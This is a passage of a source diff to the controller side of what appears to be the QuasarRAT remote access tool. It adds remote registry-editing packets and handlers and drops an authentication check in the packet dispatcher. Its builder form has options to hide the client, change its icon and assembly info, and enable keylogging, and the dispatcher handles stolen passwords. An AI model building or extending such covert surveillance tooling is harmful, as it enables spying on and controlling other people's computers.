if (FrmRe != null)
|
||||
FrmRe.Invoke((MethodInvoker)delegate { FrmRe.Close(); });
|
||||
if (FrmSi != null)
|
||||
FrmSi.Invoke((MethodInvoker)delegate { FrmSi.Close(); });
|
||||
if (FrmRs != null)
|
||||
|
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
using xServer.Core.Registry;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetChangeRegistryValueResponse : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public RegValueData Value { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetChangeRegistryValueResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
using xServer.Core.Registry;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetCreateRegistryKeyResponse : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
public RegSeekerMatch Match { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetCreateRegistryKeyResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
using xServer.Core.Registry;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetCreateRegistryValueResponse : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public RegValueData Value { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetCreateRegistryValueResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetDeleteRegistryKeyResponse : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
public string KeyName { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetDeleteRegistryKeyResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetDeleteRegistryValueResponse : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string ValueName { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetDeleteRegistryValueResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
using xServer.Core.Registry;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetRegistryKeysResponse : IPacket
|
||||
{
|
||||
public RegSeekerMatch[] Matches { get; set; }
|
||||
|
||||
public string RootKey { get; set; }
|
||||
|
||||
public GetRegistryKeysResponse()
|
||||
{ }
|
||||
|
||||
public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null)
|
||||
: this(new RegSeekerMatch[] { match }, rootKey)
|
||||
{ }
|
||||
|
||||
public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null)
|
||||
{
|
||||
Matches = matches;
|
||||
RootKey = rootKey;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetRenameRegistryKeyResponse : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
public string OldKeyName { get; set; }
|
||||
public string NewKeyName { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetRenameRegistryKeyResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetRenameRegistryValueResponse : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string OldValueName { get; set; }
|
||||
public string NewValueName { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetRenameRegistryValueResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -8,7 +8,7 @@ namespace xServer.Core.Packets
|
|||
{
|
||||
public static void HandlePacket(Client client, IPacket packet)
|
||||
{
|
||||
if (client == null || !client.Authenticated || client.Value == null)
|
||||
if (client == null || client.Value == null)
|
||||
return;
|
||||
|
||||
var type = packet.GetType();
|
||||
|
@ -66,6 +66,38 @@ namespace xServer.Core.Packets
|
|||
{
|
||||
CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetRegistryKeysResponse))
|
||||
{
|
||||
CommandHandler.HandleLoadRegistryKey((ClientPackets.GetRegistryKeysResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetCreateRegistryKeyResponse))
|
||||
{
|
||||
CommandHandler.HandleCreateRegistryKey((ClientPackets.GetCreateRegistryKeyResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetDeleteRegistryKeyResponse))
|
||||
{
|
||||
CommandHandler.HandleDeleteRegistryKey((ClientPackets.GetDeleteRegistryKeyResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetRenameRegistryKeyResponse))
|
||||
{
|
||||
CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetCreateRegistryValueResponse))
|
||||
{
|
||||
CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetDeleteRegistryValueResponse))
|
||||
{
|
||||
CommandHandler.HandleDeleteRegistryValue((ClientPackets.GetDeleteRegistryValueResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetRenameRegistryValueResponse))
|
||||
{
|
||||
CommandHandler.HandleRenameRegistryValue((ClientPackets.GetRenameRegistryValueResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetChangeRegistryValueResponse))
|
||||
{
|
||||
CommandHandler.HandleChangeRegistryValue((ClientPackets.GetChangeRegistryValueResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetPasswordsResponse))
|
||||
{
|
||||
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);
|
||||
|
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
using xServer.Core.Registry;
|
||||
|
||||
namespace xServer.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoChangeRegistryValue : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public RegValueData Value { get; set; }
|
||||
|
||||
public DoChangeRegistryValue(string keyPath, RegValueData value)
|
||||
{
|
||||
KeyPath = keyPath;
|
||||
Value = value;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoCreateRegistryKey : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
|
||||
public DoCreateRegistryKey(string parentPath)
|
||||
{
|
||||
ParentPath = parentPath;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoCreateRegistryValue : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public RegistryValueKind Kind { get; set; }
|
||||
|
||||
public DoCreateRegistryValue(string keyPath, RegistryValueKind kind)
|
||||
{
|
||||
KeyPath = keyPath;
|
||||
Kind = kind;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoDeleteRegistryKey : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
public string KeyName { get; set; }
|
||||
|
||||
public DoDeleteRegistryKey(string parentPath, string keyName)
|
||||
{
|
||||
ParentPath = parentPath;
|
||||
KeyName = keyName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoDeleteRegistryValue : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string ValueName { get; set; }
|
||||
|
||||
public DoDeleteRegistryValue(string keyPath, string valueName)
|
||||
{
|
||||
KeyPath = keyPath;
|
||||
ValueName = valueName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoLoadRegistryKey : IPacket
|
||||
{
|
||||
public string RootKeyName { get; set; }
|
||||
|
||||
public DoLoadRegistryKey(string rootKeyName)
|
||||
{
|
||||
RootKeyName = rootKeyName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,28 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoRenameRegistryKey : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
public string OldKeyName { get; set; }
|
||||
public string NewKeyName { get; set; }
|
||||
|
||||
public DoRenameRegistryKey(string parentPath, string oldKeyName, string newKeyName)
|
||||
{
|
||||
ParentPath = parentPath;
|
||||
OldKeyName = oldKeyName;
|
||||
NewKeyName = newKeyName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,28 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoRenameRegistryValue : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string OldValueName { get; set; }
|
||||
public string NewValueName { get; set; }
|
||||
|
||||
public DoRenameRegistryValue(string keyPath, string oldValueName, string newValueName)
|
||||
{
|
||||
KeyPath = keyPath;
|
||||
OldValueName = oldValueName;
|
||||
NewValueName = newValueName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,40 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace xServer.Core.Registry
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted By Justin Yanke
|
||||
* github: https://github.com/yankejustin
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This code is created by Justin Yanke and has only been
|
||||
* modified partially.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* https://github.com/quasar/QuasarRAT/blob/regedit/Server/Core/Utilities/RegSeekerMatch.cs
|
||||
*/
|
||||
|
||||
[Serializable]
|
||||
public class RegSeekerMatch
|
||||
{
|
||||
public string Key { get; private set; }
|
||||
public List<RegValueData> Data { get; private set; }
|
||||
public bool HasSubKeys { get; private set; }
|
||||
|
||||
public RegSeekerMatch(string key, List<RegValueData> data, int subkeycount)
|
||||
{
|
||||
Key = key;
|
||||
Data = data;
|
||||
HasSubKeys = (subkeycount > 0);
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("({0}:{1})", Key, Data.ToString());
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Extensions;
|
||||
|
||||
namespace xServer.Core.Registry
|
||||
{
|
||||
[Serializable]
|
||||
public class RegValueData
|
||||
{
|
||||
public string Name { get; set; }
|
||||
public RegistryValueKind Kind { get; set; }
|
||||
public object Data { get; set; }
|
||||
|
||||
public RegValueData(string name, RegistryValueKind kind, object data)
|
||||
{
|
||||
Name = name;
|
||||
Kind = kind;
|
||||
Data = data;
|
||||
}
|
||||
|
||||
public string GetDataAsString()
|
||||
{
|
||||
return Kind.RegistryTypeToString(Data);
|
||||
}
|
||||
|
||||
public string GetKindAsString()
|
||||
{
|
||||
return Kind.RegistryTypeToString();
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("({0}:{1}:{2})", Name, GetKindAsString(), GetDataAsString());
|
||||
}
|
||||
}
|
||||
}
|
|
@ -104,7 +104,10 @@ namespace xServer.Core.ReverseProxy
|
|||
public void Stop()
|
||||
{
|
||||
if (_socket != null)
|
||||
{
|
||||
_socket.Close();
|
||||
_socket = null;
|
||||
}
|
||||
|
||||
lock (_clients)
|
||||
{
|
||||
|
|
|
@ -36,7 +36,6 @@
|
|||
this.picUAC1 = new System.Windows.Forms.PictureBox();
|
||||
this.rbSystem = new System.Windows.Forms.RadioButton();
|
||||
this.rbProgramFiles = new System.Windows.Forms.RadioButton();
|
||||
this.chkIconChange = new System.Windows.Forms.CheckBox();
|
||||
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||
this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
|
@ -54,6 +53,8 @@
|
|||
this.lblMutex = new System.Windows.Forms.Label();
|
||||
this.label6 = new System.Windows.Forms.Label();
|
||||
this.connectionPage = new System.Windows.Forms.TabPage();
|
||||
this.numericUpDownPort = new System.Windows.Forms.NumericUpDown();
|
||||
this.numericUpDownDelay = new System.Windows.Forms.NumericUpDown();
|
||||
this.line3 = new xServer.Controls.Line();
|
||||
this.label4 = new System.Windows.Forms.Label();
|
||||
this.label3 = new System.Windows.Forms.Label();
|
||||
|
@ -65,12 +66,10 @@
|
|||
this.btnAddHost = new System.Windows.Forms.Button();
|
||||
this.lblMS = new System.Windows.Forms.Label();
|
||||
this.lblHost = new System.Windows.Forms.Label();
|
||||
this.txtDelay = new System.Windows.Forms.TextBox();
|
||||
this.txtHost = new System.Windows.Forms.TextBox();
|
||||
this.lblDelay = new System.Windows.Forms.Label();
|
||||
this.lblPort = new System.Windows.Forms.Label();
|
||||
this.chkShowPass = new System.Windows.Forms.CheckBox();
|
||||
this.txtPort = new System.Windows.Forms.TextBox();
|
||||
this.txtPassword = new System.Windows.Forms.TextBox();
|
||||
this.lblPassword = new System.Windows.Forms.Label();
|
||||
this.installationPage = new System.Windows.Forms.TabPage();
|
||||
|
@ -89,15 +88,21 @@
|
|||
this.chkHide = new System.Windows.Forms.CheckBox();
|
||||
this.lblInstallpath = new System.Windows.Forms.Label();
|
||||
this.lblInstallsub = new System.Windows.Forms.Label();
|
||||
this.lblExamplePath = new System.Windows.Forms.Label();
|
||||
this.lblPreviewPath = new System.Windows.Forms.Label();
|
||||
this.txtInstallsub = new System.Windows.Forms.TextBox();
|
||||
this.txtExamplePath = new System.Windows.Forms.TextBox();
|
||||
this.txtPreviewPath = new System.Windows.Forms.TextBox();
|
||||
this.assemblyPage = new System.Windows.Forms.TabPage();
|
||||
this.iconPreview = new System.Windows.Forms.PictureBox();
|
||||
this.btnBrowseIcon = new System.Windows.Forms.Button();
|
||||
this.txtIconPath = new System.Windows.Forms.TextBox();
|
||||
this.line8 = new xServer.Controls.Line();
|
||||
this.label11 = new System.Windows.Forms.Label();
|
||||
this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox();
|
||||
this.txtFileVersion = new System.Windows.Forms.TextBox();
|
||||
this.line9 = new xServer.Controls.Line();
|
||||
this.lblProductName = new System.Windows.Forms.Label();
|
||||
this.label12 = new System.Windows.Forms.Label();
|
||||
this.chkChangeIcon = new System.Windows.Forms.CheckBox();
|
||||
this.lblFileVersion = new System.Windows.Forms.Label();
|
||||
this.txtProductName = new System.Windows.Forms.TextBox();
|
||||
this.txtProductVersion = new System.Windows.Forms.TextBox();
|
||||
|
@ -112,12 +117,12 @@
|
|||
this.lblCopyright = new System.Windows.Forms.Label();
|
||||
this.lblTrademarks = new System.Windows.Forms.Label();
|
||||
this.txtCopyright = new System.Windows.Forms.TextBox();
|
||||
this.additionalTab = new System.Windows.Forms.TabPage();
|
||||
this.surveillanceTab = new System.Windows.Forms.TabPage();
|
||||
this.chkHideLogDirectory = new System.Windows.Forms.CheckBox();
|
||||
this.txtLogDirectoryName = new System.Windows.Forms.TextBox();
|
||||
this.lblLogDirectory = new System.Windows.Forms.Label();
|
||||
this.line10 = new xServer.Controls.Line();
|
||||
this.label14 = new System.Windows.Forms.Label();
|
||||
this.label13 = new System.Windows.Forms.Label();
|
||||
this.line9 = new xServer.Controls.Line();
|
||||
this.label12 = new System.Windows.Forms.Label();
|
||||
this.chkKeylogger = new System.Windows.Forms.CheckBox();
|
||||
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit();
|
||||
|
@ -125,14 +130,17 @@
|
|||
this.builderTabs.SuspendLayout();
|
||||
this.generalPage.SuspendLayout();
|
||||
this.connectionPage.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).BeginInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).BeginInit();
|
||||
this.installationPage.SuspendLayout();
|
||||
this.assemblyPage.SuspendLayout();
|
||||
this.additionalTab.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit();
|
||||
this.surveillanceTab.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// btnBuild
|
||||
//
|
||||
this.btnBuild.Location = new System.Drawing.Point(402, 384);
|
||||
this.btnBuild.Location = new System.Drawing.Point(402, 390);
|
||||
this.btnBuild.Name = "btnBuild";
|
||||
this.btnBuild.Size = new System.Drawing.Size(121, 23);
|
||||
this.btnBuild.TabIndex = 1;
|
||||
|
@ -188,30 +196,19 @@
|
|||
this.rbProgramFiles.UseVisualStyleBackColor = true;
|
||||
this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
|
||||
//
|
||||
// chkIconChange
|
||||
//
|
||||
this.chkIconChange.AutoSize = true;
|
||||
this.chkIconChange.Location = new System.Drawing.Point(23, 39);
|
||||
this.chkIconChange.Name = "chkIconChange";
|
||||
this.chkIconChange.Size = new System.Drawing.Size(91, 17);
|
||||
this.chkIconChange.TabIndex = 2;
|
||||
this.chkIconChange.Text = "Change Icon";
|
||||
this.chkIconChange.UseVisualStyleBackColor = true;
|
||||
this.chkIconChange.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
|
||||
//
|
||||
// contextMenuStrip
|
||||
//
|
||||
this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.removeHostToolStripMenuItem,
|
||||
this.clearToolStripMenuItem});
|
||||
this.contextMenuStrip.Name = "ctxtMenuHosts";
|
||||
this.contextMenuStrip.Size = new System.Drawing.Size(153, 70);
|
||||
this.contextMenuStrip.Size = new System.Drawing.Size(144, 48);
|
||||
//
|
||||
// removeHostToolStripMenuItem
|
||||
//
|
||||
this.removeHostToolStripMenuItem.Image = global::xServer.Properties.Resources.delete;
|
||||
this.removeHostToolStripMenuItem.Name = "removeHostToolStripMenuItem";
|
||||
this.removeHostToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
|
||||
this.removeHostToolStripMenuItem.Size = new System.Drawing.Size(143, 22);
|
||||
this.removeHostToolStripMenuItem.Text = "Remove host";
|
||||
this.removeHostToolStripMenuItem.Click += new System.EventHandler(this.removeHostToolStripMenuItem_Click);
|
||||
//
|
||||
|
@ -219,7 +216,7 @@
|
|||
//
|
||||
this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.broom;
|
||||
this.clearToolStripMenuItem.Name = "clearToolStripMenuItem";
|
||||
this.clearToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
|
||||
this.clearToolStripMenuItem.Size = new System.Drawing.Size(143, 22);
|
||||
this.clearToolStripMenuItem.Text = "Clear all";
|
||||
this.clearToolStripMenuItem.Click += new System.EventHandler(this.clearToolStripMenuItem_Click);
|
||||
//
|
||||
|
@ -230,14 +227,14 @@
|
|||
this.builderTabs.Controls.Add(this.connectionPage);
|
||||
this.builderTabs.Controls.Add(this.installationPage);
|
||||
this.builderTabs.Controls.Add(this.assemblyPage);
|
||||
this.builderTabs.Controls.Add(this.additionalTab);
|
||||
this.builderTabs.Controls.Add(this.surveillanceTab);
|
||||
this.builderTabs.Dock = System.Windows.Forms.DockStyle.Top;
|
||||
this.builderTabs.ItemSize = new System.Drawing.Size(44, 136);
|
||||
this.builderTabs.Location = new System.Drawing.Point(0, 0);
|
||||
this.builderTabs.Multiline = true;
|
||||
this.builderTabs.Name = "builderTabs";
|
||||
this.builderTabs.SelectedIndex = 0;
|
||||
this.builderTabs.Size = new System.Drawing.Size(535, 378);
|
||||
this.builderTabs.Size = new System.Drawing.Size(535, 384);
|
||||
this.builderTabs.SizeMode = System.Windows.Forms.TabSizeMode.Fixed;
|
||||
this.builderTabs.TabIndex = 0;
|
||||
//
|
||||
|
@ -258,9 +255,9 @@
|
|||
this.generalPage.Location = new System.Drawing.Point(140, 4);
|
||||
this.generalPage.Name = "generalPage";
|
||||
this.generalPage.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.generalPage.Size = new System.Drawing.Size(391, 370);
|
||||
this.generalPage.Size = new System.Drawing.Size(391, 376);
|
||||
this.generalPage.TabIndex = 4;
|
||||
this.generalPage.Text = "General Settings";
|
||||
this.generalPage.Text = "Basic Settings";
|
||||
//
|
||||
// label9
|
||||
//
|
||||
|
@ -296,7 +293,6 @@
|
|||
this.txtTag.Name = "txtTag";
|
||||
this.txtTag.Size = new System.Drawing.Size(203, 22);
|
||||
this.txtTag.TabIndex = 3;
|
||||
this.txtTag.Text = "Office04";
|
||||
this.txtTag.TextChanged += new System.EventHandler(this.HasChangedSetting);
|
||||
//
|
||||
// label7
|
||||
|
@ -304,9 +300,9 @@
|
|||
this.label7.AutoSize = true;
|
||||
this.label7.Location = new System.Drawing.Point(17, 20);
|
||||
this.label7.Name = "label7";
|
||||
this.label7.Size = new System.Drawing.Size(324, 13);
|
||||
this.label7.Size = new System.Drawing.Size(232, 13);
|
||||
this.label7.TabIndex = 1;
|
||||
this.label7.Text = "You can choose a tag which helps you to identify your clients.";
|
||||
this.label7.Text = "You can choose a tag to identify your client.";
|
||||
//
|
||||
// lblTag
|
||||
//
|
||||
|
@ -367,6 +363,8 @@
|
|||
// connectionPage
|
||||
//
|
||||
this.connectionPage.BackColor = System.Drawing.SystemColors.Control;
|
||||
this.connectionPage.Controls.Add(this.numericUpDownPort);
|
||||
this.connectionPage.Controls.Add(this.numericUpDownDelay);
|
||||
this.connectionPage.Controls.Add(this.line3);
|
||||
this.connectionPage.Controls.Add(this.label4);
|
||||
this.connectionPage.Controls.Add(this.label3);
|
||||
|
@ -378,20 +376,58 @@
|
|||
this.connectionPage.Controls.Add(this.btnAddHost);
|
||||
this.connectionPage.Controls.Add(this.lblMS);
|
||||
this.connectionPage.Controls.Add(this.lblHost);
|
||||
this.connectionPage.Controls.Add(this.txtDelay);
|
||||
this.connectionPage.Controls.Add(this.txtHost);
|
||||
this.connectionPage.Controls.Add(this.lblDelay);
|
||||
this.connectionPage.Controls.Add(this.lblPort);
|
||||
this.connectionPage.Controls.Add(this.chkShowPass);
|
||||
this.connectionPage.Controls.Add(this.txtPort);
|
||||
this.connectionPage.Controls.Add(this.txtPassword);
|
||||
this.connectionPage.Controls.Add(this.lblPassword);
|
||||
this.connectionPage.Location = new System.Drawing.Point(140, 4);
|
||||
this.connectionPage.Name = "connectionPage";
|
||||
this.connectionPage.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.connectionPage.Size = new System.Drawing.Size(391, 370);
|
||||
this.connectionPage.Size = new System.Drawing.Size(391, 376);
|
||||
this.connectionPage.TabIndex = 0;
|
||||
this.connectionPage.Text = "Connection";
|
||||
this.connectionPage.Text = "Connection Settings";
|
||||
//
|
||||
// numericUpDownPort
|
||||
//
|
||||
this.numericUpDownPort.Location = new System.Drawing.Point(254, 51);
|
||||
this.numericUpDownPort.Maximum = new decimal(new int[] {
|
||||
65535,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numericUpDownPort.Minimum = new decimal(new int[] {
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numericUpDownPort.Name = "numericUpDownPort";
|
||||
this.numericUpDownPort.Size = new System.Drawing.Size(129, 22);
|
||||
this.numericUpDownPort.TabIndex = 3;
|
||||
this.numericUpDownPort.Value = new decimal(new int[] {
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
//
|
||||
// numericUpDownDelay
|
||||
//
|
||||
this.numericUpDownDelay.Location = new System.Drawing.Point(276, 282);
|
||||
this.numericUpDownDelay.Maximum = new decimal(new int[] {
|
||||
600000,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numericUpDownDelay.Name = "numericUpDownDelay";
|
||||
this.numericUpDownDelay.Size = new System.Drawing.Size(80, 22);
|
||||
this.numericUpDownDelay.TabIndex = 10;
|
||||
this.numericUpDownDelay.Value = new decimal(new int[] {
|
||||
5000,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
